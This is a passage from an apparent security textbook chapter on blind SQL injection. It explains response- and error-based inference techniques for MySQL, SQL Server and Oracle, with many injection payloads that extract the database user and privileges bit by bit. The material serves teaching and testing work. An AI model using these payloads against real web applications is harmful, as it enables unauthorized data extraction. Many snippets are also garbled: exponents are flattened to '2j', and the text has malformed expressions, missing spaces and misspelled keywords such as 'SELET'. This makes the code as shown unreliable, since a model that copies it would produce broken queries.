Just
as we used request timing to infer information about a particular byte,
we can also infer state by carefully examining all data in the
response, including content and headers. You can infer state either by
the text contained in the response or by forcing errors when particular
values are under examination. For example, the inference exploit could
contain logic that alters the query such that query results are
returned when the examined bit is 1 and no results if the bit is 0, or
again, an error could be forced if a bit is 1 and no error generated
when the bit is 0.
Although
we will delve into error-generating techniques shortly, it is worth
mentioning here that the types of errors we strive to generate are
runtime errors rather than query compilation errors. If the syntax in
the query is wrong, it will always produce an error, regardless of the
inference question; the error should be generated only when the
inference question is either TRUE or FALSE, but never both.
Most
blind SQL injection tools use response-based techniques for inferring
information, as the results are not influenced by uncontrolled
variables such as load and line congestion; however, this approach does
rely on the injection point returning some modifiable response to the
attacker. You can use either the binary search approach or the
bit-by-bit approach when inferring information by poring over the
response.
MySQL Response Techniques
Consider the case where the following SQL query is executed through a Web application with input data MadBob, and returns one row from the reviews table that is contained in the page response. The query is:
SELECT COUNT(*) FROM reviews WHERE review_author='MadBob'
The
result of execution is a single row containing the number of reviews
written by MadBob, and this is displayed on the Web page in Figure 1.
By inserting a second predicate into the WHERE
clause, it is possible to alter whether the query returns any results.
You can then infer one bit of information by asking whether the query
returned a row, with the following statement:
SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND
ASCII(SUBSTRING(user(),i,1))>k#
If no results are returned, you can infer that bit k of byte i is 0; otherwise, the bit is 1. This is visible in Figure 2, where a search with the string MadBob’ and if(ASCII(SUBSTRING(user( ), 1,1))>127,1,0)# produced a 0 review count. This is a FALSE state and so the 1 character has an ASCII value less than 127.
Where numeric parameters are used, it is possible to split and balance input. If the original query is:
SELECT COUNT(*) FROM reviews WHERE id=1
a split and balanced injection string that implements the bit-by-bit approach is:
SELECT COUNT(*) FROM reviews WHERE id=1+
if(ASCII(SUBSTRING(CURRENT_USER(),i,1))&2j=2j,1,0)
Where
it is not possible to alter content, an alternative method of inferring
state is to force database errors when a 1-bit is seen and no errors
when a 0-bit is seen. Using MySQL subqueries in combination with a
conditional statement, you can selectively generate an error with this
SQL query that implements the bit-by-bit inference method:
SELECT COUNT(*) FROM reviews WHERE
id=IF(ASCII(SUBSTRING(CURRENT_USER(),i,1))&2j=2j,(SELECT table_name
FROM information_schema.columns WHERE table_name = (SELECT table_name
FROM information_schema.columns)),1);
This is fairly dense, so it helps to break the query into pieces. The IF( ) statement handles the conditional branching, and the condition we are testing is one we have seen regularly throughout this chapter: ASCII(SUBSTRING(CURRENT_USER( ),i,1))&2j=2j, which implements the bit-by-bit inference method. If the condition is true (i.e., bit j is a 1-bit), the query SELECT table_name FROM information_schema.columns WHERE table_name = (SELECT table_name FROM information_schema.columns)
is run, and this query has a subquery that returns multiple rows in a
comparison. Because this is forbidden, execution halts with an error.
On the other hand, if bit j was a 0-bit, the IF( ) statement returns the value 1. The true branch on the IF( ) statement uses the built-in information_schema.columns table, as this exists in all MySQL Version 5.0 and later databases.
I
should point out that when using an application written in PHP with
MySQL as the data store, errors arising from the execution of database
queries do not generate exceptions that cause generic error pages. The
calling page must check whether mysql_query( ) returns FALSE, or whether mysql_error( )
returns a non-empty string; if either condition exists, the page prints
an application-specific error message. The result of this is that MySQL
errors do not produce HTTP 500 response codes, but rather the regular
200 response code.
SQL Server Response Techniques
Consider
the following T-SQL that can infer one bit of information by asking
whether a vulnerable query returned rows with the statement:
SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' and
SYSTEM_USER='sa'
If the query returned results the login in use was sa,
and if no rows came back the login was something else. You can
integrate this quite easily with the binary search and bit-by-bit
inference methods to extract the actual login:
SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND
ASCII(SUBSTRING(SYSTEM_USER,i,1))>k--
and
SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' AND
ASCII(SUBSTRING(SYSTEM_USER,i,1))&2j=2j
The
split and balance trick works nicely with response-based inference on
SQL Server. Combined with a conditional subquery that uses CASE,
you can include a string as part of the search depending on the state
of a bit or value. Consider first a binary search example:
SELECT COUNT(*) FROM reviews WHERE review_author='Mad'+(SELECT CASE WHEN
ASCII(SUBSTRING(SYSTEM_USER,i,1))>k THEN 'Bob' END) + ''
Here is the matching bit-by-bit example:
SELECT COUNT(*) FROM reviews WHERE review_author='Mad'+(SELECT CASE WHEN
ASCII(SUBSTRING(SYSTEM_USER,i,1))&2j=2j THEN 'Bob' END) + ''
If either of these two queries returned results only seen for the search input ‘MadBob’, then in the binary search exploit the i-th byte had an ASCII value greater than k or in the bit-by-bit exploit the i-th byte had the j-th bit set to 1.
You
could also force a database error in cases where the page does not
return content but does trap database errors and displays either a
default error page or an HTTP 500 page. One common example of this is
ASP.NET Web sites running on Internet Information Server (IIS) 6 and 7
that do not have the <customError>
tag set in the web.config configuration file, and where the vulnerable
page does not trap exceptions. If a broken SQL query is submitted to
the database, a page similar to that shown in Figure 3 is displayed, and digging deeper into the returned HTTP headers reveals that the HTTP status was 500 (Figure 4).
The error page does not lend itself to the regular error-based
extraction methods because database error messages are not included.
Introducing
errors can be tricky. The error cannot exist in the syntax because this
would cause the query to always fail before execution; rather, you want
the query to fail only when some condition exists. This is often
accomplished with a divide-by-zero clause combined with a conditional CASE:
select * FROM reviews WHERE review_author='MadBob'+(CASE
WHENASCII(SUBSTRING(SYSTEM_USER,i,1))>k THEN CAST(1/0 AS CHAR) END)
The underlined division will be attempted only if the k-th bit of byte i is 1, allowing you to infer state.
Oracle Response Techniques
The
Oracle response-based exploits are similar in structure to both MySQL
and SQL Server, but obviously they rely on different functions for the
key bits. For example, to determine whether the database user is a DBA,
the following SQL query will return rows when this is true and no rows
otherwise:
SELECT * FROM reviews WHERE review_author='MadBob' AND
SYS_CONTEXT('USERENV','ISDBA')='TRUE';
Likewise,
you can write a bit-by-bit inference exploit that measures state based
on whether results are returned with a second injected predicate:
SELECT * FROM reviews WHERE review_author='MadBob'
ANDBITAND(ASCII(SUBSTR((…),i,1)),2j)=2j
The binary search form is:
SELET * FROM reviews WHERE review_author='MadBob' and
ASCII(SUBSTR((…),i,1)) > k
Using
Oracle's string concatenation, it is also possible to make the exploit
safe to use in a function or procedure argument list by rewriting it as
a split and balanced string with concatenation and a CASE statement:
Mad'||(SELECT CASE WHEN (ASCII(SUBSTR((…),i,1)) > k THEN 'Bob' ELSE '' END
FROM DUAL)||';
With the preceding snippet, the full ‘MadBob’ string is generated only when the inference test returns true.
Finally,
we can also generate runtime errors with a divide-by-zero clause,
similar to what we did with SQL Server. Here is a sample snippet that
contains a zero divisor in a split and balanced bit-by-bit approach:
MadBob'||(SELECT CASE WHEN BITAND((ASCII(SUBSTR((…),i,1))2j)=2j THEN
CAST(1/0 AS CHAR) ELSE '' END FROM DUAL)||';
Observe how the division had to be wrapped in a CAST( ); otherwise, the query would always fail with a syntax error. When the inference question returned TRUE
in a vulnerable page running on Apache Tomcat, an uncaught exception
was thrown, resulting in the HTTP 500 server error shown in Figure 5.
Returning More Than One Bit of Information
So
far, each inference technique we've covered focused on deriving the
status of a single bit or byte based on whether the inference question
returned TRUE or FALSE, and the fact that only two states were possible permitted the extraction of exactly one bit of information per
request. If more states are possible, more bits can be extracted per
request, which would improve the channel bandwidth. The number of bits
that can be extracted per request is log 2n, where n
is the number of possible states a request could have. To quantify this
with actual figures, each request would need four states to return two
bits, eight states to return three bits, 16 states to return four bits,
and so on. But how can more states be introduced into a request? In
some cases, it is not possible to introduce more states just as blind
SQL injection is not possible in all vulnerable injection points, but
it often is possible to extract more than one bit. In cases where the
inference question is answered with timing methods or content methods,
it is possible to introduce more than two states.
Up until now, the bit-by-bit approach has asked whether bit j of byte i
is 1. If four states are possible, the inference question could be a
series of questions that ask whether the two bits starting at bit j of byte i are 00, 01, 10, or 11. Where timing is used as the inference method, this could be phrased as the following CASE statement:
CASE
WHEN ASCII(SUBSTRING((…),i,1))&(2j+2j=1) = 0
THEN WAITFOR DELAY '00:00:00'
WHEN ASCII(SUBSTRING((…),i,1))&(2j+2j=1) = 1
THEN WAITFOR DELAY '00:00:05'
WHEN ASCII(SUBSTRING((…),i,1))&(2j+2j=1) = 2
THEN WAITFOR DELAY '00:00:10'
ELSE
THEN WAITFOR DELAY '00:00:15'
END
This does not seem particularly remarkable; in the worst case (where the bitstring is 11) this CASE
statement yields a 15-second delay, which is longer than if these two
bits were extracted one at a time with a five-second delay, but on
uniformly distributed data the average delay is less than 10 seconds.
This approach also requires fewer requests, so the total time spent on
request submission and response transmission is lowered.
Another option to increase the number of states is to alter the search term in a WHERE clause so that, for instance, one of four possible results is displayed, allowing you to infer the bitstring:
SELECT * FROM reviews WHERE review_author='' + (SELECT
CASE
WHEN ASCII(SUBSTRING((…),i,1))&(2j+2j=1)= 0
'MadBob'
WHEN ASCII(SUBSTRING((…),i,1))&(2j+2j=1)= 1
'Hogarth'
WHEN ASCII(SUBSTRING((…),i,1))&(2j+2j=1) = 2
'Jag'
ELSE
'Eliot'
END)
When the search results match ‘MadBob’ the inference is ‘00’; when they match ‘Hogarth’ it's ‘01’, when they match ‘Jag’ it's ‘10’, and when they match ‘Eliot’ it's ‘11’.
The two CASE
statements in the preceding code demonstrate how to improve the
bit-by-bit approach. However, it is also possible to improve the binary
search approach. One of the major drawbacks to the binary search is
that only a single relation is tested—namely, “greater than.” Say the
ASCII value of the byte under examination is 127. The first inference
questions asks “Is 127 > 127?” The answer is FALSE
and so seven further questions must be asked to refine the question,
until you ask “Is 127 > 126?” after which the value is inferred.
Instead, you would like to insert a second, shortcut question after the
first inference question—“Is 127 = 127?”—but include both questions in
a single request. You can do this through a CASE statement implementing a binary search method combined with an error-generating divide-by-zero clause:
CASE
WHEN ASCII(SUBSTRING((…),i,1)) > k
THEN WAITFOR DELAY '00:00:05'
WHEN ASCII(SUBSTRING((…),i,1)) = k
THEN 1/0
ELSE
THEN WAITFOR DELAY '00:00:10'
END
Thus, if an error is observed, i = k. If the request is delayed by five seconds, i is greater than k; otherwise, i is less than k.